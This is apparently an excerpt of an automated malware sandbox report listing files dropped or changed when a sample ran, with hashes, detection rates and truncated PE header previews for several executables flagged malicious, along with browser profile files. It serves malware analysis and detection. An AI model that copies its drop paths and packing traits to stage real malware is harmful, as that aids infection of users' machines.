Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0J...........@..........................`J.....'.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...xwjcifzz.....@0......x..............@...olfigpve..... J......T..............@....taggant.0...0J.."...Z..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1787392
Entropy (8bit):	7.944368801198697
Encrypted:	false
SSDEEP:	24576:EnHx9ww1LObpvbxoW+VeB8GjF+gQBYn1m3aTgd+2VUUNLaNRDxceeZF/6YIKt:ER9wm6doW/6kk4vTwVUsLGmy5
MD5:	925D775A24989DA8E83CABCD00FDE1D3
SHA1:	73373F88FA6798AC4A4BC1566B62814DEEB362DE
SHA-256:	362EDE5E1060F28217D49706CED46A1BEA1E175BF91C4A1457F921904B9BB32A
SHA-512:	F0866E412BA6733BA460EADCD01D76B5803D8AD17A9016EC0B1D5915DE0E1360D3229E9A09C5EBE1911325029388645D68AEAEC1EE78E5797B2C3F83D2A5DFC6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h......%....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...chbioofn......O......x..............@...gsyzfhio......h...... ..............@....taggant.0....h.."...$..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592292878599171
Encrypted:	false
SSDEEP:	12288:gqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaOT0:gqDEvCTbMWu7rQYlBQcBiT6rprG8a20
MD5:	09061FE9B6D117A3D40497832BFE6F3F
SHA1:	EAC5A1EF4BD5CE2B41C73BB89B3593516A15B240
SHA-256:	6F289372761153659C56C425BA2E734614315D822BF8692C83C1496C39175A6B
SHA-512:	63A8C0A3DB7BFBEAD09CC85C958B1FF16E431A20BF6EFF8A88CF6E9189E7A58607AD0CF0E8675611CE039AC2C3BB5A1940BB8FDD9677C53F4ADA20276A119178
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...y/Bg.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..L........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...L....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2817536
Entropy (8bit):	6.452343079294563
Encrypted:	false
SSDEEP:	49152:8JlcISoKHLOc/oNTCgiT0AZgDuxTjpHlNNVUtg:ScIraOi+TCgiT0AZgs9lfKtg
MD5:	05F8EAD29013AC531082A69C2A003D71
SHA1:	C6C1689A70B2E01CAACCA97C65D4F8A90FAB0809
SHA-256:	B7AD7259ED8DB0D24EF8589E7308F50ACE37392D2416CCD06DB16955C079003F
SHA-512:	222DBF6DE1C85AB1BF65D8872B8E59FC0791F5ECC9D2A7C6190667BA95034A02DFB11178F6A1689AEEFBC1132BB8E862AC9EFFB7FAB601B6ADE411B71404D5BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......}+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rqyixswb...........:..............@...aovkkqgk. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\2fQ8fpTWAP.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1887744
Entropy (8bit):	7.950781127124509
Encrypted:	false
SSDEEP:	49152:eu/AKF/HKZIZwiv29BZlYif1AYO5regp:F/AE/HmIiie9TlYC1Anreg
MD5:	72683BF9C6F350A7AF5D18A98462FCDF
SHA1:	1FD96A421E53351F72998A1A72F923B36E866A0B
SHA-256:	DFC453C8498400FD0F9CD272A842F6E4893A362E9476764A6AEC751B224C7EB3
SHA-512:	989DA907980A4BFAB558AED381271E77A77FCE8B88458767BDF9D893C540F95EA87F9B81388F4558E27E1B9316FE5DF5974481C39A45186E7770826A9C54557D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K.....Q.....@.................................W...k.......D....................pK.............................lpK..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...bwkbkxir......1.....................@...pbwruhnr......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\2fQ8fpTWAP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 19:15:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9846773870965158
Encrypted:	false
SSDEEP:	48:8N0dGTi+DHsidAKZdA1oehwiZUklqehSy+3:8NV7vFy
MD5:	FF9D18E9F30789650B6E674AD9BB80F1
SHA1:	F2AE691C2C62183C13ED1FD52DDC39ED2C96BB8C
SHA-256:	6DB9D1E67B8AD08EE65E4551560B79F17FB9246EABE9CDA7787251D815ABE6E9
SHA-512:	17BABB2B3C0F3B17BC5E1A943FA47F357705557B94136F3083E88DD319A678E4988BD965B45D2A407ECC01C7AB33A39C725619759AED84F22AA53F22971291F7
Malicious:	false
Preview:	L..................F.@.. ...$+.,........=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IwY.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 19:15:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9997453567501604
Encrypted:	false
SSDEEP:	48:8ve0dGTi+DHsidAKZdA1leh/iZUkAQkqeh1y+2:8GV719QQy
MD5:	6B2D3A24DA119FB7E3D2452D08B449B8
SHA1:	0E62E18248DB5BD22825DAE7C32CEACE3B200A6A
SHA-256:	181921805B55CEB4C77C872CA3CB1D693856D5DCB829CCFFD89A38A55C38C285
SHA-512:	E8003D8FDFA072AC36A064BA954090EFBC1513821A52D053A3ABFA4B3490CA68A375DFA337EF90ABAA25C144B75D732187B2337882A899C9D9D53CFB977BB829
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....>...=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IwY.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.011604862220083
Encrypted:	false
SSDEEP:	48:8l0dGTi+bHsidAKZdA14t5eh7sFiZUkmgqeh7sry+BX:8lV7tnxy
MD5:	EE01CC73B432A26A7CD0A9D13189A73F
SHA1:	F13DC7B4F539677C709A1097869BD565CCA532AA
SHA-256:	56DD19F04E579C7AD3B5387F34C824EE76B174683CE7AD9AADA3E02C8516BB6E
SHA-512:	7967A376876524C4DE38D73B6B5F6D6D480D5EE6B3A78A8639B8B8E82AD1434DB1BF38B06B9AC5CF75E85758F8392E777B71677E84A55ED20E77DD39C30A1D84
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IwY.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 19:15:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9948184388571177
Encrypted:	false
SSDEEP:	48:8U0dGTi+DHsidAKZdA16ehDiZUkwqehJy+R:8UV7mjy
MD5:	0F2C5DD2FAAB58548269B8477651D553
SHA1:	BAD29781C110DE278702460EE795914EDA7362BC
SHA-256:	0BFAED8D89A05669D3C630B0EB7EF95803255AD6DFDE04DE2A0BF97BE04635B9
SHA-512:	954113764D653F3D99812BDF7A2CE7B28EC3E81B1099B852D57A45D217AE813724B4384BAFC7D2A0271CB62A5019B4B852389E9EE8994A3702C3E0E8DD41917E
Malicious:	false
Preview:	L..................F.@.. ...$+.,....S....=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IwY.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 19:15:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987262624575518
Encrypted:	false
SSDEEP:	48:8I0dGTi+DHsidAKZdA1UehBiZUk1W1qehHy+C:8IV7m9ny
MD5:	34C2C808F10AB2BB25A4C70146CAD359
SHA1:	0922C32047B443C354567C372D3D729AC2022474
SHA-256:	31B59C7960254ECA3D307D23DCD944FE3E7DFDA66E73B7E8D4949B33F300E9C4
SHA-512:	3590D3A3E75F00A07F8C08AEF8A10410F2E4F94D81DD82B1C20D3F5E8EE69330C44A4B831D6853EF3D8D7651E09A28AAEA5CAFF64FAC47DA70A3BDC19DB0DC8A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....'...=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IwY.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 23 19:15:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996156773648327
Encrypted:	false
SSDEEP:	48:860dGTi+DHsidAKZdA1duTrehOuTbbiZUk5OjqehOuTbxy+yT+:86V73TYTbxWOvTbxy7T
MD5:	818095163DE8A1A422F7DA2E43FBBC22
SHA1:	7B35B43990CE9408A18AA3B4D75FB8A9A207C506
SHA-256:	5DDE68A14ACA6327D3A1990E10F6AFCF68AAE5B0E67D42A7B7CA4AEEBED3DCE0
SHA-512:	6CF35F0FE9FBA1EEEEDC8A8E2C40C1481EE4F5CE10EB8F91DE8583BDE5EB78E22C7512E1ECEE4137892F9C42C5256E510DAE7AB6814350BA1C67BC5883399224
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....A...=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IwY.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	modified
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035699946889726504
Encrypted:	false
SSDEEP:	3:GtlstFAoiAY2dpXgERE41lstFAoiAY2dpXgERc1T89//alEl:GtWtCIYCX/RF1WtCIYCX/RS89XuM
MD5:	18E1810431E302712463199E052092C6
SHA1:	E148E93B17F29BA1778DD8A9D7DAA8F1D45CAE08
SHA-256:	1AB7803EBC41E9A0563C18B88D702E0FD3F760D22CEA3E6693B8234CC79B8642
SHA-512:	B5219F0ED5AF40408999FC2A5F5F17F43458A1B5A68F86918DF4335E6446A5569DC965D543E1CB90F4AE8E7C93E2312C1A95F2A5E66FCE011111EC1B58711BFA
Malicious:	false
Preview:	..-......................MG........!/...M.>.X.v...-......................MG........!/...M.>.X.v.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03736684907790466
Encrypted:	false
SSDEEP:	3:Ol1zEmXl/Id5EK5g3v8aEJ/Nmhml8XW3R2:KqYgavi/Ehm93w
MD5:	D814AC3FF0B54812DDAB44E556D11DC8
SHA1:	16C5368655476800056FF9D194F481F24D5A4676
SHA-256:	8EF97004B73902F9CEC03D9D48D5AC272F94F0DB3A4EA40A101649F1E591BC96
SHA-512:	1BC5EDBA518B218606DC1D08E2310D8DEB8D31C7362E36023360AA1C6C996A126E242EF9CBBB6535CAFB61721463C30DB2D3A81B7AB165AB9AA40BEE25751E83
Malicious:	false
Preview:	7....-.............!/.....................!/....GM.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	10539
Entropy (8bit):	5.4995725060851886
Encrypted:	false
SSDEEP:	192:NzOneRdkYbBp6nnmUzaX/6aRMKWPzDNBw8dK9mSl:NzQe4mUtomrwbw0
MD5:	608115CDF3CC6086D4262E2EF0A54E77
SHA1:	5A5DC9A8BF2382594588F9B82B591554393C065D
SHA-256:	2CF74311C9D1254EC6DF1D362D3E335E124852F9291F4041E65F52FE6DE24668
SHA-512:	D89FE12A5589621D24BBCF1C30EE0E86FE55A7E394B1DC4F6B452CDE82CD7E37196F1820B35DADB2227F9EF07BD45AFC987D852E7EDE46F7392FF7489AAA3C44
Malicious:	false
